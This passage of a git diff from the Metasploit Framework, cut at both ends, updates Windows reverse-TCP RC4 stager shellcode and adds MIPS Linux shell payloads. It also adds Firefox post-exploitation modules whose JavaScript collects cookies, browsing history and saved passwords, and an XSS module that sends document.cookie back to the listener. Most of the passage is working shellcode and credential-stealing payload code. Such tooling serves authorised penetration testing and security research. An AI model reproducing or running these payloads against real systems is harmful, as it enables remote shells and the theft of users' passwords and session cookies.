             "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
-            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
-            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
-            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
-            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
-            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
-            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
-            "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
-            "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
-            "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
-            "\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6" +
-            "\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF" +
-            "\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56" +
-            "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00" +
-            "\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56" +
-            "\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75" +
-            "\xEC\xC3"
+            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
+            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
+            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
+            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
+            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
+            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
+            "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
+            "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
+            "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" +
+            "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
+            "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" +
+            "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
+            "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
+            "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
+            "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3"
+
         }
       ))
 
diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb
index a35edf4877..8775d727cc 100644
--- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb
@@ -33,40 +33,48 @@ module Metasploit3
           'RequiresMidstager' => false,
           'Offsets' =>
             {
-              'LHOST' => [ 197, 'ADDR' ],
-              'LPORT' => [ 204, 'n' ],
-              'ReverseConnectRetries' => [ 195, 'C'],
-              'XORKey' => [ 252, '' ],
-              'RC4Key' => [ 316, '' ],
+              'LHOST' => [ 194, 'ADDR' ],
+              'LPORT' => [ 201, 'n' ],
+              'ReverseConnectRetries' => [ 192, 'C'],
+              'XORKey' => [ 249, '' ],
+              'RC4Key' => [ 313, '' ],
             },
           'Payload' =>
-            # Length: 403 bytes
-            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+
+            # Name: stager_reverse_tcp_rc4
+            # Length: 400 bytes
+            # Port Offset: 201
+            # Host Offset: 194
+            # RetryCounter Offset: 192
+            # ExitFunk Offset: 226
+            # RC4Key Offset: 313
+            # XORKey Offset: 249
+            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
             "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
             "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
-            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
-            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
-            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
-            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
-            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
-            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
-            "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
-            "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
-            "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
-            "\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6" +
-            "\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF" +
-            "\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56" +
-            "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B" +
-            "\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53" +
-            "\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53" +
-            "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC" +
-            "\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B" +
-            "\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA" +
-            "\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89" +
-            "\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07" +
-            "\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14" +
-            "\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75" +
-            "\xE5\x5F\xC3"
+            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
+            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
+            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
+            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
+            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
+            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
+            "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
+            "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
+            "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" +
+            "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
+            "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" +
+            "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
+            "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" +
+            "\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" +
+            "\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" +
+            "\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D" +
+            "\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D" +
+            "\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75" +
+            "\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2" +
+            "\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75" +
+            "\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14" +
+            "\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3"
+
         }
       ))
 
@@ -77,7 +85,7 @@ module Metasploit3
 
   def generate_stage
     p = super
-    m = OpenSSL::Digest::Digest.new('sha1')
+    m = OpenSSL::Digest.new('sha1')
     m.reset
     key = m.digest(datastore["RC4PASSWORD"] || "")
     c1 = OpenSSL::Cipher::Cipher.new('RC4')
@@ -89,7 +97,7 @@ module Metasploit3
 
   def internal_generate
     p = super
-    m = OpenSSL::Digest::Digest.new('sha1')
+    m = OpenSSL::Digest.new('sha1')
     m.reset
     key = m.digest(datastore["RC4PASSWORD"] || "")
     p[offsets['XORKey'][0], 4] = key[0,4]
diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb
index 5ce5f408c7..45f86306b2 100644
--- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb
@@ -89,7 +89,7 @@ module Metasploit3
   end
 
   def generate_stage
-    m = OpenSSL::Digest::Digest.new('sha1')
+    m = OpenSSL::Digest.new('sha1')
     m.reset
     key = m.digest(datastore["RC4PASSWORD"] || "")
     c1 = OpenSSL::Cipher::Cipher.new('RC4')
@@ -102,7 +102,7 @@ module Metasploit3
   def internal_generate
     p = super
     # Write keys into stage
-    m = OpenSSL::Digest::Digest.new('sha1')
+    m = OpenSSL::Digest.new('sha1')
     m.reset
     key = m.digest(datastore["RC4PASSWORD"] || "")
     p[offsets['XORKey'][0], 4] = key[0,4]
diff --git a/modules/payloads/stages/linux/mipsbe/shell.rb b/modules/payloads/stages/linux/mipsbe/shell.rb
new file mode 100644
index 0000000000..59e40539ac
--- /dev/null
+++ b/modules/payloads/stages/linux/mipsbe/shell.rb
@@ -0,0 +1,36 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+  include Msf::Payload::Linux
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Command Shell',
+      'Description'   => 'Spawn a command shell (staged)',
+      'Author'        => 'juan vazquez',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Session'       => Msf::Sessions::CommandShellUnix,
+      'Stage'         =>
+        {
+          'Payload' =>
+            "\x24\x11\xff\xfd\x02\x20\x88\x27\x02\x40\x20\x20\x02\x20" +
+            "\x28\x20\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff" +
+            "\x22\x31\xff\xff\x16\x11\xff\xfa\x24\x18\xff\xff\x07\x10" +
+            "\xff\xff\x28\x18\xff\xff\x23\xe4\x00\x1c\xaf\xa4\xff\xf8" +
+            "\xaf\xa0\xff\xfc\x23\xa5\xff\xf8\x28\x06\xff\xff\x24\x02" +
+            "\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00"
+        }
+      ))
+  end
+
+end
diff --git a/modules/payloads/stages/linux/mipsle/shell.rb b/modules/payloads/stages/linux/mipsle/shell.rb
new file mode 100644
index 0000000000..97915d3480
--- /dev/null
+++ b/modules/payloads/stages/linux/mipsle/shell.rb
@@ -0,0 +1,36 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+  include Msf::Payload::Linux
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Command Shell',
+      'Description'   => 'Spawn a command shell (staged)',
+      'Author'        => 'juan vazquez',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSLE,
+      'Session'       => Msf::Sessions::CommandShellUnix,
+      'Stage'         =>
+        {
+          'Payload' =>
+            "\xfd\xff\x11\x24\x27\x88\x20\x02\x20\x20\x40\x02\x20\x28" +
+            "\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24" +
+            "\xff\xff\x31\x22\xfa\xff\x11\x16\xff\xff\x18\x24\xff\xff" +
+            "\x10\x07\xff\xff\x18\x28\x1c\x00\xe4\x23\xf8\xff\xa4\xaf" +
+            "\xfc\xff\xa0\xaf\xf8\xff\xa5\x23\xff\xff\x06\x28\xab\x0f" +
+            "\x02\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"
+        }
+      ))
+  end
+
+end
diff --git a/modules/post/firefox/gather/cookies.rb b/modules/post/firefox/gather/cookies.rb
new file mode 100644
index 0000000000..ce6c5a69e7
--- /dev/null
+++ b/modules/post/firefox/gather/cookies.rb
@@ -0,0 +1,67 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'json'
+require 'msf/core'
+require 'msf/core/payload/firefox'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Payload::Firefox
+  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Firefox Gather Cookies from Privileged Javascript Shell',
+      'Description'   => %q{
+        This module allows collection of cookies from a Firefox Privileged Javascript Shell.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'joev' ],
+      'DisclosureDate' => 'Mar 26 2014'
+    ))
+
+    register_options([
+      OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
+    ], self.class)
+  end
+
+  def run
+    print_status "Running the privileged javascript..."
+    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
+    results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
+    if results.present?
+      begin
+        cookies = JSON.parse(results)
+        file = store_loot("firefox.cookies.json", "text/json", rhost, results)
+        print_good("Saved #{cookies.length} cookies to #{file}")
+      rescue JSON::ParserError => e
+        print_warning(results)
+      end
+    end
+  end
+
+  def js_payload
+    %Q|
+      (function(send){
+        try {
+          var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]
+                        .getService(Components.interfaces.nsICookieManager);
+          var cookies = [];
+          var iter = cookieManager.enumerator;
+          while (iter.hasMoreElements()){
+            var cookie = iter.getNext();
+            if (cookie instanceof Components.interfaces.nsICookie){
+              cookies.push({host:cookie.host, name:cookie.name, value:cookie.value})
+            }
+          }
+          send(JSON.stringify(cookies));
+        } catch (e) {
+          send(e);
+        }
+      })(send);
+    |.strip
+  end
+end
diff --git a/modules/post/firefox/gather/history.rb b/modules/post/firefox/gather/history.rb
new file mode 100644
index 0000000000..75808963c0
--- /dev/null
+++ b/modules/post/firefox/gather/history.rb
@@ -0,0 +1,90 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'json'
+require 'msf/core'
+require 'msf/core/payload/firefox'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Payload::Firefox
+  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Firefox Gather History from Privileged Javascript Shell',
+      'Description'   => %q{
+        This module allows collection of the entire browser history from a Firefox
+        Privileged Javascript Shell.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'joev' ],
+      'DisclosureDate' => 'Apr 11 2014'
+    ))
+
+    register_options([
+      OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
+    ], self.class)
+  end
+
+  def run
+    print_status "Running the privileged javascript..."
+    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
+    results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
+    if results.present?
+      begin
+        history = JSON.parse(results)
+        history.each do |entry|
+          entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
+        end
+
+        file = store_loot("firefox.history.json", "text/json", rhost, history.to_json)
+        print_good("Saved #{history.length} history entries to #{file}")
+      rescue JSON::ParserError => e
+        print_warning(results)
+      end
+    end
+  end
+
+  def js_payload
+    %Q|
+      (function(send){
+        try {
+          var service = Components
+                .classes["@mozilla.org/browser/nav-history-service;1"]
+                .getService(Components.interfaces.nsINavHistoryService);
+          var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;
+
+          var query = service.getNewQuery();
+          var options = service.getNewQueryOptions();
+          var result = service.executeQuery(query, options);
+          var fields = [];
+          var entries = [];
+
+          var root = result.root;
+          root.containerOpen = true;
+
+          for (var i = 0; i < result.root.childCount; ++i) {
+            var child = result.root.getChild(i);
+            if (child.type == child.RESULT_TYPE_URI) {
+              entries.push({
+                uri: b64(child.uri),
+                title: b64(child.title),
+                time: b64(child.time),
+                accessCount: b64(child.accessCount)
+              });
+            }
+          }
+
+          result.root.containerOpen = false;
+
+          send(JSON.stringify(entries));
+        } catch (e) {
+          send(e);
+        }
+      })(send);
+    |.strip
+  end
+end
diff --git a/modules/post/firefox/gather/passwords.rb b/modules/post/firefox/gather/passwords.rb
new file mode 100644
index 0000000000..d3db014177
--- /dev/null
+++ b/modules/post/firefox/gather/passwords.rb
@@ -0,0 +1,83 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'json'
+require 'msf/core'
+require 'msf/core/payload/firefox'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Payload::Firefox
+  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Firefox Gather Passwords from Privileged Javascript Shell',
+      'Description'   => %q{
+        This module allows collection of passwords from a Firefox Privileged Javascript Shell.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'joev' ],
+      'DisclosureDate' => 'Apr 11 2014'
+    ))
+
+    register_options([
+      OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
+    ], self.class)
+  end
+
+  def run
+    print_status "Running the privileged javascript..."
+    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
+    results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
+    if results.present?
+      begin
+        passwords = JSON.parse(results)
+        passwords.each do |entry|
+          entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
+        end
+
+        file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
+        print_good("Saved #{passwords.length} passwords to #{file}")
+      rescue JSON::ParserError => e
+        print_warning(results)
+      end
+    end
+  end
+
+  def js_payload
+    %Q|
+      (function(send){
+        try {
+          var manager = Components
+                          .classes["@mozilla.org/login-manager;1"]
+                          .getService(Components.interfaces.nsILoginManager);
+          var logins = manager.getAllLogins();
+          var passwords = [];
+          var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;
+          var fields = ['password', 'passwordField', 'username', 'usernameField',
+                        'httpRealm', 'formSubmitURL', 'hostname'];
+
+          var sanitize = function(passwdObj) {
+            var sanitized = { };
+            for (var i in fields) {
+              sanitized[fields[i]] = b64(passwdObj[fields[i]]);
+            }
+            return sanitized;
+          }
+
+          // Find user from returned array of nsILoginInfo objects
+          for (var i = 0; i < logins.length; i++) {
+            passwords.push(sanitize(logins[i]));
+          }
+
+          send(JSON.stringify(passwords));
+        } catch (e) {
+          send(e);
+        }
+      })(send);
+    |.strip
+  end
+end
diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb
new file mode 100644
index 0000000000..4d2e960e69
--- /dev/null
+++ b/modules/post/firefox/gather/xss.rb
@@ -0,0 +1,86 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'json'
+require 'msf/core/payload/firefox'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Payload::Firefox
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Firefox XSS',
+      'Description'   => %q{
+        This module runs the provided SCRIPT as javascript in the
+        origin of the provided URL. It works by navigating to a hidden
+        ChromeWindow to the URL, then injecting the SCRIPT with Function().
+        The callback "send(result)" is used to send data back to the listener.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'joev' ],
+      'Platform'      => [ 'firefox' ]
+    ))
+
+    register_options([
+      OptString.new('SCRIPT', [true, "The javascript command to run", 'send(document.cookie)']),
+      OptPath.new('SCRIPTFILE', [false, "The javascript file to run"]),
+      OptString.new('URL', [
+        true, "URL to inject into", 'http://metasploit.com'
+      ]),
+      OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
+    ], self.class)
+  end
+
+  def run
+    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
+    results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
+
+    if results.present?
+      print_good results
+    else
+      print_error "No response received"
+    end
+  end
+
+  def js_payload
+    js = datastore['SCRIPT'].strip
+    %Q|
+
+      (function(send){
+        #{set_timeout_source}
+
+        var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                               .getService(Components.interfaces.nsIAppShellService)
+                               .hiddenDOMWindow;
+
+        hiddenWindow.location = 'about:blank';
+        var src = (#{JSON.unparse({ :src => js })}).src;
+        var key = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
+
+        hiddenWindow[key] = true;
+        hiddenWindow.location = "#{datastore['URL']}";
+
+        var evt = function() {
+          if (hiddenWindow[key]) {
+            setTimeout(evt, 200);
+          } else {
+            setTimeout(function(){
+              try {
+                send(hiddenWindow.wrappedJSObject.Function('send', src)(send));
+              } catch (e) {
+                send("Error: "+e.message);
+              }
+            }, 500);
+          }
+        };
+
+        setTimeout(evt, 200);
+      })(send);
+
+    |.strip
+  end
+end
diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb
index 14a1ebd8bb..0b03aef6aa 100644
--- a/modules/post/linux/gather/enum_configs.rb
+++ b/modules/post/linux/gather/enum_configs.rb
@@ -7,6 +7,8 @@ require 'msf/core'
 
 class Metasploit3 < Msf::Post
 
+  include Msf::Post::Linux::System
+
   def initialize(info={})
     super( update_info( info,
       'Name'          => 'Linux Gather Configurations',
diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb
index e6cf4e65c4..9c2b676892 100644
--- a/modules/post/linux/gather/enum_system.rb
+++ b/modules/post/linux/gather/enum_system.rb
@@ -27,6 +27,7 @@ class Metasploit3 < Msf::Post
             'Stephen Haywood <averagesecurityguy[at]gmail.com>', # get_cron and original enum_linux
             'sinn3r', # Testing and modification of original enum_linux
             'ohdae <bindshell[at]live.com>', # Combined separate mods, modifications and testing
+            'Roberto Espreto <robertoespreto[at]gmail.com>', # log files and setuid/setgid
           ],
         'Platform'      => [ 'linux' ],
         'SessionTypes'  => [ 'shell' ]
@@ -59,6 +60,8 @@ class Metasploit3 < Msf::Post
     crons = get_crons(users, user)
     diskspace = execute("/bin/df -ahT")
     disks = (mount +"\n\/"+ diskspace)
+    logfiles = execute("find /var/log -type f -perm -4 2> /dev/null")
+    uidgid = execute("find / -xdev -type f -perm +6000 -perm -1 2> /dev/null")
 
     save("Linux version", distro)
     save("User accounts", users)
@@ -66,6 +69,8 @@ class Metasploit3 < Msf::Post
     save("Running Services", installed_svc)
     save("Cron jobs", crons)
     save("Disk info", disks)
+    save("Logfiles", logfiles)
+    save("Setuid/setgid files", uidgid)
 
   end
 
diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb
index c1470ed799..ec4d50729b 100644
--- a/modules/post/linux/manage/download_exec.rb
+++ b/modules/post/linux/manage/download_exec.rb
@@ -45,13 +45,19 @@ class Metasploit3 < Msf::Post
   end
 
   def exists_exe?(exe)
-    path = expand_path("$PATH")
+    vprint_status "Searching for #{exe} in the current $PATH..."
+    path = get_env("PATH")
     if path.nil? or path.empty?
       return false
+      vprint_error "No local $PATH set!"
+    else
+      vprint_status "$PATH is #{path.strip!}"
     end
 
     path.split(":").each{ |p|
-      return true if file_exist?(p + "/" + exe)
+      full_path = p + "/" + exe
+      vprint_status "Searching for '#{full_path}' ..."
+      return true if file_exist?(full_path)
     }
 
     return false
diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb
index 9691aeb2e4..dd6771d393 100644
--- a/modules/post/multi/gather/apple_ios_backup.rb
+++ b/modules/post/multi/gather/apple_ios_backup.rb
@@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post
       paths = enum_users_unix
     when /win/
       @platform = :windows
-      drive = session.fs.file.expand_path("%SystemDrive%")
+      drive = session.sys.config.getenv('SystemDrive')
       os = session.sys.config.sysinfo['OS']
 
       if os =~ /Windows 7|Vista|2008/
@@ -265,7 +265,7 @@ class Metasploit3 < Msf::Post
 
   def whoami
     if @platform == :windows
-      session.fs.file.expand_path("%USERNAME%")
+      session.sys.config.getenv('USERNAME')
     else
       session.shell_command("whoami").chomp
     end
diff --git a/modules/post/multi/gather/check_malware.rb b/modules/post/multi/gather/check_malware.rb
new file mode 100644
index 0000000000..b44ce1f005
--- /dev/null
+++ b/modules/post/multi/gather/check_malware.rb
@@ -0,0 +1,129 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/http'
+require 'uri'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Post::File
+
+  def initialize(info={})
+    super( update_info( info,
+      'Name'          => 'Multi Gather Malware Verifier',
+      'Description'   => %q{
+        This module will check a file for malware on VirusTotal based on the checksum.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'sinn3r'],
+      'Platform'      => [ 'osx', 'win', 'linux' ],
+      'SessionTypes'  => [ "shell", "meterpreter" ]
+    ))
+
+    register_options(
+      [
+        OptString.new('APIKEY',     [true, "VirusTotal API key", '501caf66349cc7357eb4398ac3298fdd03dec01a3e2f3ad576525aa7b57a1987']),
+        OptString.new('REMOTEFILE', [true, "A file to check from the remote machine"])
+
+      ], self.class)
+  end
+
+  def rhost
+    session.session_host
+  end
+
+  def get_report(api_key, checksum)
+    #
+    # We have to use Net::HTTP instead of HttpClient because of the following error:
+    # The supplied module name is ambiguous: undefined method `register_autofilter_ports'
+    #
+    url = URI.parse("https://www.virustotal.com/vtapi/v2/file/report")
+    req = Net::HTTP::Post.new(url.path, initheader={'Host'=>'www.virustotal.com'})
+    req.set_form_data({'apikey'=>api_key, 'resource'=>checksum})
+    http = Net::HTTP::new(url.host, url.port)
+    http.use_ssl = true
+    res = http.start {|http| http.request(req)}
+
